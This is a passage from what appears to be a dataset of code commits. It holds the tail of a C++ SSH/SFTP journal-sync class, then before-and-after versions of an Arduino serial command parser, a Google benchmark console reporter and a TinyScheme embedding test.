\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  if (trace)\n   std::cerr << full_remote_name << \": pull()... \";\n\n  server_position = 0;\n\n  try\n  {\n   ssh::SFTP_Attributes attributes\n   (\n    sftp_stat(sftp.get(), remote_file_name.c_str())\n   );\n\n   server_position = int64_t(attributes.get()->size);\n  }\n  catch (const joedb::Exception &)\n  {\n  }\n\n  const int64_t client_position = client_journal.get_checkpoint_position();\n\n  if (client_position < server_position)\n  {\n   std::vector<char> v(size_t(server_position - client_position));\n\n   if (trace)\n    std::cerr << v.size() << \" bytes... \";\n\n   sftp_file file = sftp_open\n   (\n    sftp.get(),\n    remote_file_name.c_str(),\n    O_RDONLY,\n    S_IRUSR | S_IWUSR\n   );\n\n   if (file)\n   {\n    const int seek_result = sftp_seek64(file, uint64_t(client_position));\n    const ssize_t read_result = sftp_read(file, v.data(), v.size());\n    sftp_close(file);\n\n    if (seek_result < 0 || read_result != ssize_t(v.size()))\n     throw Exception(\"Error during sftp_read\");\n\n    client_journal.append_raw_tail(v);\n   }\n   else\n    throw Exception(\"Could not open remote file for reading\");\n  }\n  else if (server_position > 0 && client_position > server_position)\n   throw Exception(\"Trying to pull when ahead of server\");\n\n  if (trace)\n   std::cerr << \"done\\n\";\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Connection::raw_push(Readonly_Journal &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  if (trace)\n   std::cerr << full_remote_name << \": push()... \";\n\n  const int64_t client_position = client_journal.get_checkpoint_position();\n  if (client_position > server_position)\n  {\n   std::vector<char> v(client_journal.get_raw_tail(server_position));\n\n   if (trace)\n    std::cerr << v.size() << \" bytes... \";\n\n   sftp_file file = sftp_open\n   (\n    sftp.get(),\n    remote_file_name.c_str(),\n    O_WRONLY | O_CREAT,\n    S_IRUSR | S_IWUSR\n   );\n\n   const int seek_result = sftp_seek64(file, uint64_t(server_position));\n\n   if (file)\n   {\n    \/\/\n    \/\/ https:\/\/tools.ietf.org\/html\/draft-ietf-secsh-filexfer-00\n    \/\/\n    \/\/ The maximum size of a packet is in practise determined by the client\n    \/\/ (the maximum size of read or write requests that it sends, plus a few\n    \/\/ bytes of packet overhead).  All servers SHOULD support packets of at\n    \/\/ least 34000 bytes (where the packet size refers to the full length,\n    \/\/ including the header above).  This should allow for reads and writes of\n    \/\/ at most 32768 bytes.\n    \/\/\n    const size_t max_block_size = 32768;\n    const size_t size = v.size();\n    size_t written = 0;\n\n    while (seek_result >= 0 && written < size)\n    {\n     size_t block_size = size - written;\n\n     if (block_size > max_block_size)\n      block_size = max_block_size;\n\n     const ssize_t result = sftp_write(file, v.data() + written, block_size);\n\n     if (result <= 0)\n      break;\n\n     written += size_t(result);\n    }\n\n    sftp_close(file);\n\n    if (written < size)\n     throw Exception(\"Incomplete write during push\");\n   }\n   else\n    throw Exception(\"Could not open remote file for writing\");\n  }\n\n  if (trace)\n   std::cerr << \"done\\n\";\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n SSH_Connection::SSH_Connection\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n (\n  std::string user,\n  std::string host,\n  int port,\n  std::string remote_file_name,\n  bool trace,\n  int ssh_log_level\n ):\n  remote_file_name(remote_file_name),\n  trace(trace),\n  mutex_file_name(remote_file_name + \".mutex\"),\n  full_remote_name(user + \"@\" + host + \":\" + remote_file_name),\n  session\n  (\n   user,\n   host,\n   port,\n   ssh_log_level\n  ),\n  sftp(session),\n  server_position(0)\n {\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::retry(std::function<void()> f, bool call_reset)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  while (true)\n  {\n   try\n   {\n    f();\n    return;\n   }\n   catch(const std::runtime_error &e)\n   {\n    if (trace)\n     std::cerr << \"Error: \" << e.what() << '\\n';\n   }\n\n   if (trace)\n    std::cerr << \"Sleeping for \" << sleep_time << \" seconds...\\n\";\n\n   std::this_thread::sleep_for(std::chrono::seconds(sleep_time));\n\n   if (call_reset)\n   {\n    if (trace)\n     std::cerr << \"Trying to reconnect... \";\n    try\n    {\n     if (trace)\n      std::cerr << \"Success!\\n\";\n     reset();\n    }\n    catch(const std::runtime_error &e)\n    {\n     if (trace)\n      std::cerr << \"Error: \" << e.what() << '\\n';\n    }\n   }\n  }\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::pull(Journal_File &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  retry\n  (\n   [&client_journal,this](){connection->pull(client_journal);},\n   true\n  );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::lock_pull(Journal_File &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  retry\n  (\n   [&client_journal,this](){connection->lock_pull(client_journal);},\n   true\n  );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::push_unlock(Readonly_Journal &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  retry\n  (\n   [&client_journal,this](){connection->push_unlock(client_journal);},\n   true\n  );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::reset()\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  \/\/ Restoring the server position is better if we reset during a push\n  const int64_t server_position = connection ?\n   connection->server_position : 0;\n\n  connection.reset\n  (\n   new SSH_Connection\n   (\n    user,\n    host,\n    port,\n    remote_file_name,\n    trace,\n    ssh_log_level\n   )\n  );\n\n  connection->server_position = server_position;\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n SSH_Robust_Connection::SSH_Robust_Connection\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n (\n  std::string user,\n  std::string host,\n  int port,\n  std::string remote_file_name,\n  bool trace,\n  int ssh_log_level\n ):\n  user(user),\n  host(host),\n  port(port),\n  remote_file_name(remote_file_name),\n  trace(trace),\n  ssh_log_level(ssh_log_level)\n {\n  retry([this](){reset();}, false);\n }\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"Command.h\"\n\n\n #define DATABUFFERSIZE      80\n static char dataBuffer[DATABUFFERSIZE+1]; \/\/Add 1 for NULL terminator\n static byte dataBufferIndex = 0;\n\n const char endChar = ';'; \/\/ or '!', or whatever your end character is\n static boolean storeString = false; \/\/This will be our flag to put the data in our buffer\n \n\nboolean getSerialString(){\n    static byte dataBufferIndex = 0;\n    while(Serial.available()>0){\n        char incomingbyte = Serial.read();\n \/\/       if(incomingbyte==startChar){\n \/\/           dataBufferIndex = 0;  \/\/Initialize our dataBufferIndex variable\n       if (storeString == false) {\n         storeString = true;\n         dataBufferIndex=0;\n        }\n        if(storeString){\n            \/\/Let's check our index here, and abort if we're outside our buffer size\n            \/\/We use our define here so our buffer size can be easily modified\n            if(dataBufferIndex==DATABUFFERSIZE){\n                \/\/Oops, our index is pointing to an array element outside our buffer.\n                dataBufferIndex = 0;\n                break;\n            }\n            if(incomingbyte==endChar){\n                dataBuffer[dataBufferIndex] = 0; \/\/null terminate the C string\n                storeString = false;\n                \/\/Our data string is complete.  return true\n                return true;\n            }\n            else{\n                dataBuffer[dataBufferIndex++] = incomingbyte;\n                dataBuffer[dataBufferIndex] = 0; \/\/null terminate the C string\n            }\n        }\n        else{\n        }\n    }\n   \n    \/\/We've read in all the available Serial data, and don't have a valid string yet, so return false\n    return false;\n}\n\n    int Command::_array[MAX_ARGS];\n    int Command::args[MAX_ARGS];\n\n\n\/\/ match from command received\nboolean Command::cmp(char const* targetcommand){\n  char* pos = strstr(dataBuffer, targetcommand);\n  if(pos==dataBuffer) { \/\/starts with\n    return true;\n  }\n  return false;\n}\n\n\/\/ get string from buffer\nboolean Command::get(){\n  if(getSerialString()){\n    \/\/String available for parsing.  Parse it here\n     parse();\n     return true;\n  }\n  return false;\n}\n\n\/\/ get 'arguments' from command\nvoid Command::parse(){\n  char * pch;\n  byte i = 0;\n  pch = strtok (dataBuffer,\" ,();\");\n  while (pch != NULL){\n    if (i == 0) {\n      \/\/this is the command text\n     Serial.print(F(\"cmd:\"));     \n     Serial.println(pch);            \n    } else {\n      \/\/this is a parameter\n      args[i] = atoi(pch);\n    }\n    i++;\n    pch = strtok (NULL,\" ,();\");\n  }\n  args[0] = i;\n}\n\n\n<commit_msg>Clearing the prior message so that it does not repeat. Changed the socket.io sockets to volititle to prevent backups that stop the cockpit from responding<commit_after>#include \"Command.h\"\n\n\n #define DATABUFFERSIZE      80\n static char dataBuffer[DATABUFFERSIZE+1]; \/\/Add 1 for NULL terminator\n static byte dataBufferIndex = 0;\n static boolean commandReady = false;\n const char endChar = ';'; \/\/ or '!', or whatever your end character is\n static boolean storeString = false; \/\/This will be our flag to put the data in our buffer\n \n\nboolean getSerialString(){\n    static byte dataBufferIndex = 0;\n    while(Serial.available()>0){\n        char incomingbyte = Serial.read();\n \/\/       if(incomingbyte==startChar){\n \/\/           dataBufferIndex = 0;  \/\/Initialize our dataBufferIndex variable\n       if (storeString == false) {\n         storeString = true;\n         dataBufferIndex=0;\n        }\n        if(storeString){\n            \/\/Let's check our index here, and abort if we're outside our buffer size\n            \/\/We use our define here so our buffer size can be easily modified\n            if(dataBufferIndex==DATABUFFERSIZE){\n                \/\/Oops, our index is pointing to an array element outside our buffer.\n                dataBufferIndex = 0;\n                break;\n            }\n            if(incomingbyte==endChar){\n                dataBuffer[dataBufferIndex] = 0; \/\/null terminate the C string\n                storeString = false;\n                \/\/Our data string is complete.  return true\n                return true;\n            }\n            else{\n                dataBuffer[dataBufferIndex++] = incomingbyte;\n                dataBuffer[dataBufferIndex] = 0; \/\/null terminate the C string\n            }\n        }\n        else{\n        }\n    }\n   \n    \/\/We've read in all the available Serial data, and don't have a valid string yet, so return false\n    return false;\n}\n\n    int Command::_array[MAX_ARGS];\n    int Command::args[MAX_ARGS];\n\n\n\/\/ match from command received\nboolean Command::cmp(char const* targetcommand){\n  if (!commandReady) return false;\n  char* pos = strstr(dataBuffer, targetcommand);\n  if(pos==dataBuffer) { \/\/starts with\n    return true;\n  }\n  return false;\n}\n\n\/\/ get string from buffer\nboolean Command::get(){\n  commandReady = false;\n  if(getSerialString()){\n    \/\/String available for parsing.  Parse it here\n     parse();\n     commandReady = true;\n     return true;\n  }\n  return false;\n}\n\n\/\/ get 'arguments' from command\nvoid Command::parse(){\n  char * pch;\n  byte i = 0;\n  pch = strtok (dataBuffer,\" ,();\");\n  while (pch != NULL){\n    if (i == 0) {\n      \/\/this is the command text\n     Serial.print(F(\"cmd:\"));     \n     Serial.print(pch);\n     Serial.print('(');    \n    } else {\n      \/\/this is a parameter\n      args[i] = atoi(pch);\n      if(i>1){\n        Serial.print(','); \n      }\n      Serial.print(pch); \n    }\n    i++;\n    pch = strtok (NULL,\" ,();\");\n  }\n  Serial.println(\");\"); \n  args[0] = i;\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2015 Google Inc. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"benchmark\/reporter.h\"\n#include \"complexity.h\"\n\n#include <cstdint>\n#include <cstdio>\n#include <algorithm>\n#include <iostream>\n#include <string>\n#include <tuple>\n#include <vector>\n\n#include \"check.h\"\n#include \"colorprint.h\"\n#include \"commandlineflags.h\"\n#include \"internal_macros.h\"\n#include \"string_util.h\"\n#include \"walltime.h\"\n\nnamespace benchmark {\n\nbool ConsoleReporter::ReportContext(const Context& context) {\n  name_field_width_ = context.name_field_width;\n\n  PrintBasicContext(&GetErrorStream(), context);\n\n#ifdef BENCHMARK_OS_WINDOWS\n  if (FLAGS_color_print && &std::cout != &GetOutputStream()) {\n      GetErrorStream() << \"Color printing is only supported for stdout on windows.\"\n                          \" Disabling color printing\\n\";\n      FLAGS_color_print = false;\n  }\n#endif\n  std::string str = FormatString(\"%-*s %13s %13s %10s\\n\",\n                             static_cast<int>(name_field_width_), \"Benchmark\",\n                             \"Time\", \"CPU\", \"Iterations\");\n  GetOutputStream() << str << std::string(str.length() - 1, '-') << \"\\n\";\n\n  return true;\n}\n\nvoid ConsoleReporter::ReportRuns(const std::vector<Run>& reports) {\n  for (const auto& run : reports)\n    PrintRunData(run);\n}\n\nvoid ConsoleReporter::PrintRunData(const Run& result) {\n  auto& Out = GetOutputStream();\n\n  auto name_color = (result.report_big_o || result.report_rms)\n      ? COLOR_BLUE : COLOR_GREEN;\n  ColorPrintf(Out, name_color, \"%-*s \", name_field_width_,\n              result.benchmark_name.c_str());\n\n  if (result.error_occurred) {\n    ColorPrintf(Out, COLOR_RED, \"ERROR OCCURRED: \\'%s\\'\",\n                result.error_message.c_str());\n    ColorPrintf(Out, COLOR_DEFAULT, \"\\n\");\n    return;\n  }\n  \/\/ Format bytes per second\n  std::string rate;\n  if (result.bytes_per_second > 0) {\n    rate = StrCat(\" \", HumanReadableNumber(result.bytes_per_second), \"B\/s\");\n  }\n\n  \/\/ Format items per second\n  std::string items;\n  if (result.items_per_second > 0) {\n    items = StrCat(\" \", HumanReadableNumber(result.items_per_second),\n                   \" items\/s\");\n  }\n\n  const double real_time = result.GetAdjustedRealTime();\n  const double cpu_time = result.GetAdjustedCPUTime();\n\n  if(result.report_big_o) {\n    std::string big_o = result.report_big_o ? GetBigOString(result.complexity) : \"\";\n    ColorPrintf(Out, COLOR_YELLOW, \"%10.4f %s %10.4f %s \",\n                real_time, big_o.c_str(), cpu_time, big_o.c_str());\n  } else if(result.report_rms) {\n    ColorPrintf(Out, COLOR_YELLOW, \"%10.0f %% %10.0f %% \",\n                real_time * 100, cpu_time * 100);\n  } else {\n    const char* timeLabel = GetTimeUnitString(result.time_unit);\n    ColorPrintf(Out, COLOR_YELLOW, \"%10.0f %s %10.0f %s \",\n                real_time, timeLabel, cpu_time, timeLabel);\n  }\n\n  if(!result.report_big_o && !result.report_rms) {\n    ColorPrintf(Out, COLOR_CYAN, \"%10lld\", result.iterations);\n  }\n\n  if (!rate.empty()) {\n    ColorPrintf(Out, COLOR_DEFAULT, \" %*s\", 13, rate.c_str());\n  }\n\n  if (!items.empty()) {\n    ColorPrintf(Out, COLOR_DEFAULT, \" %*s\", 18, items.c_str());\n  }\n\n  if (!result.report_label.empty()) {\n    ColorPrintf(Out, COLOR_DEFAULT, \" %s\", result.report_label.c_str());\n  }\n\n  ColorPrintf(Out, COLOR_DEFAULT, \"\\n\");\n}\n\n}  \/\/ end namespace benchmark\n<commit_msg>Fix missing declaration of FLAGS_color_print<commit_after>\/\/ Copyright 2015 Google Inc. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"benchmark\/reporter.h\"\n#include \"complexity.h\"\n\n#include <cstdint>\n#include <cstdio>\n#include <algorithm>\n#include <iostream>\n#include <string>\n#include <tuple>\n#include <vector>\n\n#include \"check.h\"\n#include \"colorprint.h\"\n#include \"commandlineflags.h\"\n#include \"internal_macros.h\"\n#include \"string_util.h\"\n#include \"walltime.h\"\n\nDECLARE_bool(color_print);\n\nnamespace benchmark {\n\nbool ConsoleReporter::ReportContext(const Context& context) {\n  name_field_width_ = context.name_field_width;\n\n  PrintBasicContext(&GetErrorStream(), context);\n\n#ifdef BENCHMARK_OS_WINDOWS\n  if (FLAGS_color_print && &std::cout != &GetOutputStream()) {\n      GetErrorStream() << \"Color printing is only supported for stdout on windows.\"\n                          \" Disabling color printing\\n\";\n      FLAGS_color_print = false;\n  }\n#endif\n  std::string str = FormatString(\"%-*s %13s %13s %10s\\n\",\n                             static_cast<int>(name_field_width_), \"Benchmark\",\n                             \"Time\", \"CPU\", \"Iterations\");\n  GetOutputStream() << str << std::string(str.length() - 1, '-') << \"\\n\";\n\n  return true;\n}\n\nvoid ConsoleReporter::ReportRuns(const std::vector<Run>& reports) {\n  for (const auto& run : reports)\n    PrintRunData(run);\n}\n\nvoid ConsoleReporter::PrintRunData(const Run& result) {\n  auto& Out = GetOutputStream();\n\n  auto name_color = (result.report_big_o || result.report_rms)\n      ? COLOR_BLUE : COLOR_GREEN;\n  ColorPrintf(Out, name_color, \"%-*s \", name_field_width_,\n              result.benchmark_name.c_str());\n\n  if (result.error_occurred) {\n    ColorPrintf(Out, COLOR_RED, \"ERROR OCCURRED: \\'%s\\'\",\n                result.error_message.c_str());\n    ColorPrintf(Out, COLOR_DEFAULT, \"\\n\");\n    return;\n  }\n  \/\/ Format bytes per second\n  std::string rate;\n  if (result.bytes_per_second > 0) {\n    rate = StrCat(\" \", HumanReadableNumber(result.bytes_per_second), \"B\/s\");\n  }\n\n  \/\/ Format items per second\n  std::string items;\n  if (result.items_per_second > 0) {\n    items = StrCat(\" \", HumanReadableNumber(result.items_per_second),\n                   \" items\/s\");\n  }\n\n  const double real_time = result.GetAdjustedRealTime();\n  const double cpu_time = result.GetAdjustedCPUTime();\n\n  if(result.report_big_o) {\n    std::string big_o = result.report_big_o ? GetBigOString(result.complexity) : \"\";\n    ColorPrintf(Out, COLOR_YELLOW, \"%10.4f %s %10.4f %s \",\n                real_time, big_o.c_str(), cpu_time, big_o.c_str());\n  } else if(result.report_rms) {\n    ColorPrintf(Out, COLOR_YELLOW, \"%10.0f %% %10.0f %% \",\n                real_time * 100, cpu_time * 100);\n  } else {\n    const char* timeLabel = GetTimeUnitString(result.time_unit);\n    ColorPrintf(Out, COLOR_YELLOW, \"%10.0f %s %10.0f %s \",\n                real_time, timeLabel, cpu_time, timeLabel);\n  }\n\n  if(!result.report_big_o && !result.report_rms) {\n    ColorPrintf(Out, COLOR_CYAN, \"%10lld\", result.iterations);\n  }\n\n  if (!rate.empty()) {\n    ColorPrintf(Out, COLOR_DEFAULT, \" %*s\", 13, rate.c_str());\n  }\n\n  if (!items.empty()) {\n    ColorPrintf(Out, COLOR_DEFAULT, \" %*s\", 18, items.c_str());\n  }\n\n  if (!result.report_label.empty()) {\n    ColorPrintf(Out, COLOR_DEFAULT, \" %s\", result.report_label.c_str());\n  }\n\n  ColorPrintf(Out, COLOR_DEFAULT, \"\\n\");\n}\n\n}  \/\/ end namespace benchmark\n<|endoftext|>"}
{"text":"<commit_before>#define STANDALONE 0\n#define USE_INTERFACE 1\n#include <scheme.h>\n#include <scheme-private.h>\n\n\/\/ Include standard headers\n#include <iostream>      \/\/ std::cout, std::cin, std::cerr\n\n\/\/ Based on https:\/\/github.com\/dchest\/tinyscheme\/blob\/master\/example.c\n\npointer display(scheme* sc, pointer args)\n{\n    if (sc == nullptr)\n    {\n        std::cerr << \"error: scheme* sc is nullptr\\n\";\n        return nullptr;\n    }\n\n    if (args != sc->NIL)\n    {\n        if (sc->vptr->is_string(sc->vptr->pair_car(args)))\n        {\n            char* str = sc->vptr->string_value(sc->vptr->pair_car(args));\n            printf(\"%s\", str);\n        }\n    }\n    return sc->NIL;\n}\n\nscheme* init_scheme()\n{\n    scheme* sc = scheme_init_new();\n\n    if (sc == nullptr)\n    {\n        std::cerr << \"error: scheme_init_new() failed\\n\";\n        return nullptr;\n    }\n\n    FILE* init_file = fopen(\"init.scm\", \"r\");\n\n    if (init_file == nullptr)\n    {\n        std::cerr << \"error loading init.scm\\n\";\n        free(sc);\n        return nullptr;\n    }\n\n    scheme_load_file(sc, init_file);\n    fclose(init_file);\n\n    sc->vptr->scheme_define(sc, sc->global_env, sc->vptr->mk_symbol(sc, \"display\"), sc->vptr->mk_foreign_func(sc, display));\n\n    return sc;\n}\n\nbool do_stuff(scheme* sc)\n{\n    if (sc == nullptr)\n    {\n        std::cerr << \"error: scheme* sc is nullptr\\n\";\n        return false;\n    }\n\n    FILE* hello_world_file = fopen(\"hello_world.scm\", \"r\");\n\n    if (hello_world_file == nullptr)\n    {\n        std::cerr << \"error loading hello_world.scm\\n\";\n        return false;\n    }\n    scheme_load_file(sc, hello_world_file);\n    fclose(hello_world_file);\n\n    \/* eval a C string as Scheme code *\/\n    const char* hello_world_char = \"(display \\\"Hello world!\\n\\\")\";\n    scheme_load_string(sc, hello_world_char);\n\n    return true;\n}\n\nint main(void)\n{\n    scheme* sc = init_scheme();\n\n    if (sc == nullptr)\n    {\n        std::cerr << \"error occurred in init_scheme function.\\n\";\n        return 1;\n    }\n\n    if (!do_stuff(sc))\n    {\n        std::cerr << \"error occurred in do_stuff function.\\n\";\n        scheme_deinit(sc);\n        return 1;\n    }\n\n    scheme_deinit(sc);\n    return 0;\n}\n<commit_msg>`tinyscheme_test.cpp`: calling foreign C++ `cube` function works.<commit_after>#define STANDALONE 0\n#define USE_INTERFACE 1\n#include <scheme.h>\n#include <scheme-private.h>\n\n\/\/ Include standard headers\n#include <iostream>      \/\/ std::cout, std::cin, std::cerr\n\n\/\/ Based on https:\/\/github.com\/dchest\/tinyscheme\/blob\/master\/example.c\n\npointer cube(scheme* sc, pointer args)\n{\n    if (sc == nullptr)\n    {\n        std::cerr << \"error: scheme* sc is nullptr\\n\";\n        return nullptr;\n    }\n\n    if (args == sc->NIL || !sc->vptr->is_number(sc->vptr->pair_car(args)))\n    {\n        return sc->NIL;\n    }\n\n    double value = sc->vptr->rvalue(sc->vptr->pair_car(args));\n    return sc->vptr->mk_real(sc, value * value * value);\n}\n\npointer display(scheme* sc, pointer args)\n{\n    if (sc == nullptr)\n    {\n        std::cerr << \"error: scheme* sc is nullptr\\n\";\n        return nullptr;\n    }\n\n    if (args != sc->NIL)\n    {\n        if (sc->vptr->is_string(sc->vptr->pair_car(args)))\n        {\n            char* str = sc->vptr->string_value(sc->vptr->pair_car(args));\n            printf(\"%s\", str);\n        }\n    }\n    return sc->NIL;\n}\n\nscheme* init_scheme()\n{\n    scheme* sc = scheme_init_new();\n\n    if (sc == nullptr)\n    {\n        std::cerr << \"error: scheme_init_new() failed\\n\";\n        return nullptr;\n    }\n\n    FILE* init_file = fopen(\"init.scm\", \"r\");\n\n    if (init_file == nullptr)\n    {\n        std::cerr << \"error loading init.scm\\n\";\n        free(sc);\n        return nullptr;\n    }\n\n    scheme_load_file(sc, init_file);\n    fclose(init_file);\n\n    sc->vptr->scheme_define(sc, sc->global_env, sc->vptr->mk_symbol(sc, \"cube\"), sc->vptr->mk_foreign_func(sc, cube));\n    sc->vptr->scheme_define(sc, sc->global_env, sc->vptr->mk_symbol(sc, \"display\"), sc->vptr->mk_foreign_func(sc, display));\n\n    return sc;\n}\n\nbool do_stuff(scheme* sc)\n{\n    if (sc == nullptr)\n    {\n        std::cerr << \"error: scheme* sc is nullptr\\n\";\n        return false;\n    }\n\n    FILE* hello_world_file = fopen(\"hello_world.scm\", \"r\");\n\n    if (hello_world_file == nullptr)\n    {\n        std::cerr << \"error loading hello_world.scm\\n\";\n        return false;\n    }\n    scheme_load_file(sc, hello_world_file);\n    fclose(hello_world_file);\n\n    \/* eval a C string as Scheme code *\/\n    const char* hello_world_char = \"(display \\\"Hello world!\\n\\\")\";\n    scheme_load_string(sc, hello_world_char);\n\n    const char* cube_char = \"(display (string-append \\\"5.0 cubed is \\\" (number->string (cube 5.0)) \\\"\\n\\\"))\";\n    scheme_load_string(sc, cube_char);\n\n    const char* see_you_char = \"(display \\\"See you!\\n\\\")\";\n    scheme_load_string(sc, see_you_char);\n\n    return true;\n}\n\nint main(void)\n{\n    scheme* sc = init_scheme();\n\n    if (sc == nullptr)\n    {\n        std::cerr << \"error occurred in init_scheme function.\\n\";\n        return 1;\n    }\n\n    if (!do_stuff(sc))\n    {\n        std::cerr << \"error occurred in do_stuff function.\\n\";\n        scheme_deinit(sc);\n        return 1;\n    }\n\n    scheme_deinit(sc);\n    return 0;\n}\n<|endoftext|>"}
